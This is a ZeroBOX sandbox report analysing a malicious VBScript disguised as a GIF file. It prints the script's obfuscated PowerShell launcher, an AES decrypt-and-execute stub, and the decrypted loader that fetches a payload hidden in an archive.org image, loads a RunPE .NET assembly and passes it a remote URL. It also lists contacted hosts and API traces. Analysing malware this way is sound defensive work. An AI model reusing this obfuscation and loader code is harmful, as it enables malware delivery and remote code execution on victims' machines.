popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

welovedatinGloVER.gif.vbs

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 July 19, 2024, 12:58 p.m. July 19, 2024, 1:01 p.m.
Size 116.9KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 b2450a779394d5883f1259bf7eaab12b
SHA256 2071ca05a29996dbad7b13910608f832b42a868405497f4612d254c4fa278ed7
CRC32 A524CA8B
ssdeep 768:nVBooooooooroooooooooooooooooHL9JooooooooAjlooooooooloooooooo16T:nVmL9qjV63EA
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\welovedatinGloVER.gif.vbs

    3040

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI74115460793005066150640528154512CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIBcX2z+yHYAurR9wRGdEmBY9gsygsD0wTcVMNnCvyMXvCZBGstofcO0eLggg32bHakmmBeW+K0d/A4YAX0bX88QIRxfQgm0EqVio4414VVwainu+n1+Bk+RaJJKy+K5k9U25ih5rA6wT02wXRfDwNkF4oQA45ofWYOwuBphAHWfgBOJcnpBApew6eZIq1zt397t5QPlT4CXwWQlI/Y0Csvi8NcwPlt0ifD9dQxksA28kB7E/S421zDvplpb09h9jAg4ghwVScNWBh/jdbBW+8wuVddIdyJRScewA3UwklHJDY4x1jG0SiJ4IZXyBOgFpTWwbr0oWU8zDEYxzB95FZkaJeVZKR6tR69E3EL45VR/Q8S51xEJDrBJw/f1Ca15OdM8UoyxKmNku8Z2SBY93+f0yWTVuGDf/qt87W3ijvvtpBaQOY44D9Hf4HNnDcakBMZV+fwTdCZTvO9JnQYehsNPXdA6YR4sQUcHzPyTMxMUHIi44H2cYyrrNvz3aRcuEHnblhVXPC555IkF15dyYcoH+Krj7cG9q9sWqY/9RWCBbQ2MnTVpHyJy07HQuR9R9sjkOca/b7VF//luMcN0PjxzjZCfBBX49oApusoJYReURH+XIwH9++Qz0GpYE1BEpMd3VfuB59LNnx9q4+wtNKH4q2JAZwhPe1Mhb+CBlknuCj7W+RvMx6mFxozEusXpndJbp/Er8vkcq4V7ypObE9pOzb33qMgO4VftaXRAV40dSu0ZTn+6uX0ZoF8v5JgjdPDSZIOYOxoBeKO4mD2sM8EtefpbV7enHS/ChxecbW2XrPZbwFBTnjQOPzEBn3ks1pE2AI28+axe18oJ+AX56MItkZr+IyqcE929LmUK9r/EqOhdS2m3rHpkuAe0GahHIvodoBWrHqaqtjNjMlXAidWa/9OBfyftWMn+PEccpNd3GA+IX1kIUOYa5dk2+0fI3z8fd2xs+jy0XkIXQ+G/4h3LgxBb3WuNSXPkoIUeh5anvW9eIIV5QwIhB+rGLha2K+aRSd3CSqkA4mN8TlU+jwCmfxlTiBEMQSFsVqAygYtAnOGZ1mzkx2j+62RaaN7Kr6yNeeXWC9zhBL+dNi5EPZ8qndYnP1WQktNPDTJh+yjVPPg8t8Yepwz3DvcMSgwt2R0yopM2rIj+HOkTL82zyNEb/gVPbGTlOskyHjFjkimaDhnTw2V80ufsR32F8lsFTIWuHj7cfChaEB5aNg2HvYRGgiJwLhdooMLGFbQoVu20UdllJ+M6UJYgGxFnj7MYby900fHx84gjQaxsdPvDImbYJNHcrM2Qjd7FsiRCEBDWzZ6w1Ys/7eYf5yUKGhskls+AdwWgucYveot7t8xgn8xnyiyeFooboOEsd6E0kDLt0ggdgt80oq4ynf9nPUEeomAIXu6WY4z1/cVNC8+nQZs057RJ/LLXZhf3niT6+WjzDshkQ/moYrt8QQcQlOGzHWrAonMlPqVWtBb0VsPMpOEFd8ZjlO/QpsnO1oyJb2ISr24NQQb56IO4iu3ZCKJ5CeUH84R7V60Cd0cYEaTbLMSIamUJ2Tw4U0+5ul2N/44yOmxpWWo/VFS4Ez5M1nuHsGxN0AWM+s1vtxF2FUfjmFizdRSHEXxGjYV0wk7p+PQLIAR1SPi2VEnUiePgvGsb/Gz1p3ivlpZoHsloVGcgkYllOGZGZDfWx6IxqrcXQn+Ki6+m93tumKbXE0Jq/AGO888uiRcaIHwLXjzltoOzlnl18ZKmrgy/A1G5AmmoCPOXkv3rozXHambXLIQlJcJ4lcCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')

      2252

Name Response Post-Analysis Lookup
ia803405.us.archive.org
A 207.241.232.195
207.241.232.195
pastecode.dev
A 172.66.40.229
A 172.66.43.27
172.66.43.27
IP Address Status Action
164.124.101.2 Active Moloch
172.66.40.229 Active Moloch
207.241.232.195 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Method invocation failed because [System.Security.Cryptography.AesManaged] does
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n't contain a method named 'Dispose'.
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:715
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + function Decrypt-AESEncryption {Param([String]$Base64Text,[String]$Key)$aesMa
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: naged = New-Object System.Security.Cryptography.AesManaged;$aesManaged.Mode = [
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: System.Security.Cryptography.CipherMode]::CBC;$aesManaged.Padding = [System.Sec
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: urity.Cryptography.PaddingMode]::Zeros;$aesManaged.BlockSize = 128;$aesManaged.
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: KeySize = 256;$aesManaged.Key = (New-Object System.Security.Cryptography.SHA256
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key));$cipherBytes
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: = [System.Convert]::FromBase64String($Base64Text);$aesManaged.IV = $cipherBytes
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: [0..15];$decryptor = $aesManaged.CreateDecryptor();$decryptedBytes = $decryptor
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: .TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16);$aesManaged.Di
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: spose <<<< ();return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Tr
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: im([char]0);}$chave = "74115460793005066150640528154512";$textoCriptografadoBas
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: e64 = "BcX2z+yHYAurR9wRGdEmBY9gsygsD0wTcVMNnCvyMXvCZBGstofcO0eLggg32bHakmmBeW+K
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: 0d/A4YAX0bX88QIRxfQgm0EqVio4414VVwainu+n1+Bk+RaJJKy+K5k9U25ih5rA6wT02wXRfDwNkF4
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: oQA45ofWYOwuBphAHWfgBOJcnpBApew6eZIq1zt397t5QPlT4CXwWQlI/Y0Csvi8NcwPlt0ifD9dQxk
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: sA28kB7E/S421zDvplpb09h9jAg4ghwVScNWBh/jdbBW+8wuVddIdyJRScewA3UwklHJDY4x1jG0SiJ
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: 4IZXyBOgFpTWwbr0oWU8zDEYxzB95FZkaJeVZKR6tR69E3EL45VR/Q8S51xEJDrBJw/f1Ca15OdM8Uo
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: yxKmNku8Z2SBY93+f0yWTVuGDf/qt87W3ijvvtpBaQOY44D9Hf4HNnDcakBMZV+fwTdCZTvO9JnQYeh
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: sNPXdA6YR4sQUcHzPyTMxMUHIi44H2cYyrrNvz3aRcuEHnblhVXPC555IkF15dyYcoH+Krj7cG9q9sW
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: qY/9RWCBbQ2MnTVpHyJy07HQuR9R9sjkOca/b7VF//luMcN0PjxzjZCfBBX49oApusoJYReURH+XIwH
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: 9++Qz0GpYE1BEpMd3VfuB59LNnx9q4+wtNKH4q2JAZwhPe1Mhb+CBlknuCj7W+RvMx6mFxozEusXpnd
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: Jbp/Er8vkcq4V7ypObE9pOzb33qMgO4VftaXRAV40dSu0ZTn+6uX0ZoF8v5JgjdPDSZIOYOxoBeKO4m
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: D2sM8EtefpbV7enHS/ChxecbW2XrPZbwFBTnjQOPzEBn3ks1pE2AI28+axe18oJ+AX56MItkZr+Iyqc
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: E929LmUK9r/EqOhdS2m3rHpkuAe0GahHIvodoBWrHqaqtjNjMlXAidWa/9OBfyftWMn+PEccpNd3GA+
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: IX1kIUOYa5dk2+0fI3z8fd2xs+jy0XkIXQ+G/4h3LgxBb3WuNSXPkoIUeh5anvW9eIIV5QwIhB+rGLh
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: a2K+aRSd3CSqkA4mN8TlU+jwCmfxlTiBEMQSFsVqAygYtAnOGZ1mzkx2j+62RaaN7Kr6yNeeXWC9zhB
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: L+dNi5EPZ8qndYnP1WQktNPDTJh+yjVPPg8t8Yepwz3DvcMSgwt2R0yopM2rIj+HOkTL82zyNEb/gVP
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: bGTlOskyHjFjkimaDhnTw2V80ufsR32F8lsFTIWuHj7cfChaEB5aNg2HvYRGgiJwLhdooMLGFbQoVu2
console_handle: 0x0000017f
1 1 0

WriteConsoleW

 buffer: 0UdllJ+M6UJYgGxFnj7MYby900fHx84gjQaxsdPvDImbYJNHcrM2Qjd7FsiRCEBDWzZ6w1Ys/7eYf5y
console_handle: 0x0000018b
1 1 0

WriteConsoleW

 buffer: UKGhskls+AdwWgucYveot7t8xgn8xnyiyeFooboOEsd6E0kDLt0ggdgt80oq4ynf9nPUEeomAIXu6WY
console_handle: 0x00000197
1 1 0

WriteConsoleW

 buffer: 4z1/cVNC8+nQZs057RJ/LLXZhf3niT6+WjzDshkQ/moYrt8QQcQlOGzHWrAonMlPqVWtBb0VsPMpOEF
console_handle: 0x000001a3
1 1 0

WriteConsoleW

 buffer: d8ZjlO/QpsnO1oyJb2ISr24NQQb56IO4iu3ZCKJ5CeUH84R7V60Cd0cYEaTbLMSIamUJ2Tw4U0+5ul2
console_handle: 0x000001af
1 1 0

WriteConsoleW

 buffer: N/44yOmxpWWo/VFS4Ez5M1nuHsGxN0AWM+s1vtxF2FUfjmFizdRSHEXxGjYV0wk7p+PQLIAR1SPi2VE
console_handle: 0x000001bb
1 1 0

WriteConsoleW

 buffer: nUiePgvGsb/Gz1p3ivlpZoHsloVGcgkYllOGZGZDfWx6IxqrcXQn+Ki6+m93tumKbXE0Jq/AGO888ui
console_handle: 0x000001c7
1 1 0

WriteConsoleW

 buffer: RcaIHwLXjzltoOzlnl18ZKmrgy/A1G5AmmoCPOXkv3rozXHambXLIQlJcJ4lc";$textoDescriptog
console_handle: 0x000001d3
1 1 0

WriteConsoleW

 buffer: rafado = Decrypt-AESEncryption -Base64Text $textoCriptografadoBase64 -Key $chav
console_handle: 0x000001df
1 1 0

WriteConsoleW

 buffer: e;Write-Host "Texto Descriptografado: $textoDescriptografado";Invoke-Expression
console_handle: 0x000001eb
1 1 0

WriteConsoleW

 buffer: $textoDescriptografado;
console_handle: 0x000001f7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (Dispose:String) [], RuntimeEx
console_handle: 0x00000203
1 1 0

WriteConsoleW

 buffer: ception
console_handle: 0x0000020f
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : MethodNotFound
console_handle: 0x0000021b
1 1 0

WriteConsoleW

 buffer: Texto Descriptografado: function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://ia803405.us.archive.org/16/items/new_image_202406/new_image.jpg', 'https://ia803405.us.archive.org/16/items/new_image_202406/new_image.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunPE.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.dodooogno/21.4.371.701//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32',''))} }
console_handle: 0x00000237
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004059f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004059f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004059f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004055f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004055f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004055f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004055f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004055f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004055f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004050f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004050f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004050f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405bf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405bf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405bf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004057b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405bf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405bf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405bf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405bf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405bf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405bf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405bf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405ab8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405238
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405238
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004051b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004051b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004051b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004051b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405438
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00405438
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET https://pastecode.dev/raw/6l7qjjrz/paste1.txt
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 983040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a30000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73971000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73972000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02202000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0222a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02203000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02204000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0223b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02237000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02222000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02235000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02205000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0222c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02206000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0223c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02223000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

